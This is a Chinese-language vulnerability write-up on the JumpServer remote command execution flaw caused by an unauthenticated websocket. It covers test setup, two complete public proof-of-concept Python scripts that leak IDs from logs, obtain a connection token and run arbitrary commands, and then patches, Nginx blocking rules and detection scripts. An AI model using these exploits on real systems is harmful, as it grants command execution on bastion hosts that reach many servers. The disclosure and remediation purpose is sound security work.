漏洞背景
JumpServer 是全球首款完全开源的堡垒机, 使用 GNU GPL v2.0 开源协议, 是符合 4A 的专业运维审计系统。 使用 Python / Django 进行开发, 遵循 Web 2.0 规范, 配备了业界领先的 Web Terminal 解决方案, 交互界面美观、用户体验好。 采纳分布式架构, 支持多机房跨区域部署, 中心节点提供 API, 各机房部署登录节点, 可横向扩展、无并发访问限制。
由于JumpServer程序中连接websocket的接口未做授权限制,导致攻击者可构造恶意请求获取服务器敏感信息,通过敏感信息中的相关参数,可构造请求获取相应token,进而可通过相关API操作来执行任意命令。
漏洞环境搭建
参考这位师傅的文章:https://www.o2oxy.cn/2921.html
User Check ........................ [ OK ]
OS Check ........................ [ ERROR ] 操作系统类型版本不符合要求,请使用 CentOS 7
CPU Check ........................ [ ERROR ] CPU 小于 2核,JumpServer 所在机器的 CPU 需要至少 2核
Memory Check ........................ [ ERROR ] 内存小于 8G,JumpServer 所在机器的内存需要至少 8G
参考文章
https://zhuanlan.zhihu.com/p/126601630
CentOS 7 :https://mirrors.ustc.edu.cn/centos/7.9.2009/isos/x86_64/
漏洞复现
公开POC 1
# -*- coding: utf-8 -*-
# import requests
# import json
# data={"user":"4320ce47-e0e0-4b86-adb1-675ca611ea0c","asset":"ccb9c6d7-6221-445e-9fcc-b30c95162825","system_user":"79655e4e-1741-46af-a793-fff394540a52"}
#
# url_host='http://192.168.1.73:8080'
#
# def get_token():
# url = url_host+'/api/v1/users/connection-token/?user-only=1'
# url =url_host+'/api/v1/authentication/connection-token/?user-only=1'
# response = requests.post(url, json=data).json()
# print(response)
# ret=requests.get(url_host+'/api/v1/authentication/connection-token/?token=%s'%response['token'])
# print(ret.text)
# get_token()
import asyncio
import websockets
import requests
import json
url = "/api/v1/authentication/connection-token/?user-only=None"
# 向服务器端发送认证后的消息
async def send_msg(websocket,_text):
if _text == "exit":
print(f'you have enter "exit", goodbye')
await websocket.close(reason="user exit")
return False
await websocket.send(_text)
recv_text = await websocket.recv()
print(f"{recv_text}")
# 客户端主逻辑
async def main_logic(cmd):
print("#######start ws")
async with websockets.connect(target) as websocket:
recv_text = await websocket.recv()
print(f"{recv_text}")
resws=json.loads(recv_text)
id = resws['id']
print("get ws id:"+id)
print("###############")
print("init ws")
print("###############")
inittext = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
await send_msg(websocket,inittext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print("###############")
print("exec cmd: ls")
cmdtext = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd+"\r\n"})
print(cmdtext)
await send_msg(websocket, cmdtext)
for i in range(20):
recv_text = await websocket.recv()
print(f"{recv_text}")
print('#######finish')
if __name__ == '__main__':
try:
import sys
host=sys.argv[1]
cmd=sys.argv[2]
if host[-1]=='/':
host=host[:-1]
print(host)
data = {"user": "4320ce47-e0e0-4b86-adb1-675ca611ea0c", "asset": "ccb9c6d7-6221-445e-9fcc-b30c95162825",
"system_user": "79655e4e-1741-46af-a793-fff394540a52"}
print("##################")
print("get token url:%s" % (host + url,))
print("##################")
res = requests.post(host + url, json=data)
token = res.json()["token"]
print("token:%s", (token,))
print("##################")
target = "ws://" + host.replace("http://", '') + "/koko/ws/token/?target_id=" + token
print("target ws:%s" % (target,))
asyncio.get_event_loop().run_until_complete(main_logic(cmd))
except:
print("python jumpserver.py http://192.168.1.73 whoami")
公开POC 2
# coding=utf-8
import asyncio
import websockets
import json
import requests
import re
target_url = 'http://127.0.0.1'
cmd = "ifconfig"
async def get_token():
print('========================================================================================================================================================')
url = target_url.replace("http", "ws") + "/ws/ops/tasks/log/"
print("Request => " + url + "token")
async with websockets.connect(url, timeout=3) as websocket:
await websocket.send('{"task":"/opt/jumpserver/logs/gunicorn"}')
for x in range(1000):
try:
rs = await asyncio.wait_for(websocket.recv(), timeout=3)
print("Recv => " + rs)
if '/api/v1/perms/asset-permissions/user/validate' in rs:
break
except:
print("Vulnerability may not exist")
exit()
print('========================================================================================================================================================')
print('Vulnerability may exist')
pattern = re.compile(r'asset_id=(.*?)&cache_policy=1&system_user_id=(.*?)&user_id=(.*?) ')
matchObj = pattern.search(rs)
if matchObj:
asset_id = matchObj.group(1)
print('asset_id = ' + asset_id)
system_user_id = matchObj.group(2)
print('system_user_id = ' + system_user_id)
user_id = matchObj.group(3)
print('user_id = ' + user_id)
print('========================================================================================================================================================')
data = {'asset': asset_id, 'system_user': system_user_id, 'user': user_id}
url = target_url + '/api/v1/users/connection-token/?user-only=1'
print("Request => " + url + ' get token')
response = requests.post(url, json=data).json()
print('token = ' + response['token'])
print('========================================================================================================================================================')
return response['token']
async def attack(url):
async with websockets.connect(url, timeout=3) as websocket:
print("Request => " + url)
rs = await websocket.recv()
print("Recv => " + rs)
id = json.loads(rs)["id"]
print("id = " + id)
print('========================================================================================================================================================')
init_payload = json.dumps({"id": id, "type": "TERMINAL_INIT", "data": "{\"cols\":164,\"rows\":17}"})
print("Request => " + "TERMINAL_INIT")
await websocket.send(init_payload)
rs = await websocket.recv()
print("Recv => " + rs)
rs = ""
while "Last login" not in rs:
rs = await websocket.recv()
print("Recv => " + rs)
cmd_payload = json.dumps({"id": id, "type": "TERMINAL_DATA", "data": cmd + "\r\n"})
print("Request => " + "Cmd Payload")
await websocket.send(cmd_payload)
for x in range(1000):
try:
rs = await asyncio.wait_for(websocket.recv(), timeout=3)
print("Recv => " + rs)
except:
print('========================================================================================================================================================')
print('recv data end')
break
def exp():
token = asyncio.get_event_loop().run_until_complete(get_token())
url = target_url.replace("http", "ws") + "/koko/ws/token/?target_id=" + token
asyncio.get_event_loop().run_until_complete(attack(url))
if __name__ == '__main__':
exp()
漏洞修复
参考 https://github.com/jumpserver/jumpserver
紧急BUG修复通知
JumpServer发现远程执行漏洞,请速度修复
非常感谢 reactivity of Alibaba Hackerone bug bounty program(瑞典) 向我们报告了此 BUG
影响版本:
< v2.6.2
< v2.5.4
< v2.4.5
= v1.5.9
>= v1.5.3
安全版本:
>= v2.6.2
>= v2.5.4
>= v2.4.5
= v1.5.9 (版本号没变)
< v1.5.3
修复方案:
将JumpServer升级至安全版本;
临时修复方案:
修改 Nginx 配置文件屏蔽漏洞接口
/api/v1/authentication/connection-token/
/api/v1/users/connection-token/
Nginx 配置文件位置
# 社区老版本
/etc/nginx/conf.d/jumpserver.conf
# 企业老版本
jumpserver-release/nginx/http_server.conf
# 新版本在
jumpserver-release/compose/config_static/http_server.conf
修改 Nginx 配置文件实例
### 保证在 /api 之前 和 / 之前
location /api/v1/authentication/connection-token/ {
return 403;
}
location /api/v1/users/connection-token/ {
return 403;
}
### 新增以上这些
location /api/ {
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://core:8080;
}
...
修改完成后重启 nginx
docker方式:
docker restart jms_nginx
nginx方式:
systemctl restart nginx
修复验证
$ wget https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_bug_check.sh
# 使用方法 bash jms_bug_check.sh HOST
$ bash jms_bug_check.sh demo.jumpserver.org
漏洞已修复
入侵检测
下载脚本到 jumpserver 日志目录,这个目录中存在 gunicorn.log,然后执行
$ pwd
/opt/jumpserver/core/logs
$ ls gunicorn.log
gunicorn.log
$ wget 'https://github.com/jumpserver/jumpserver/releases/download/v2.6.2/jms_check_attack.sh'
$ bash jms_check_attack.sh
系统未被入侵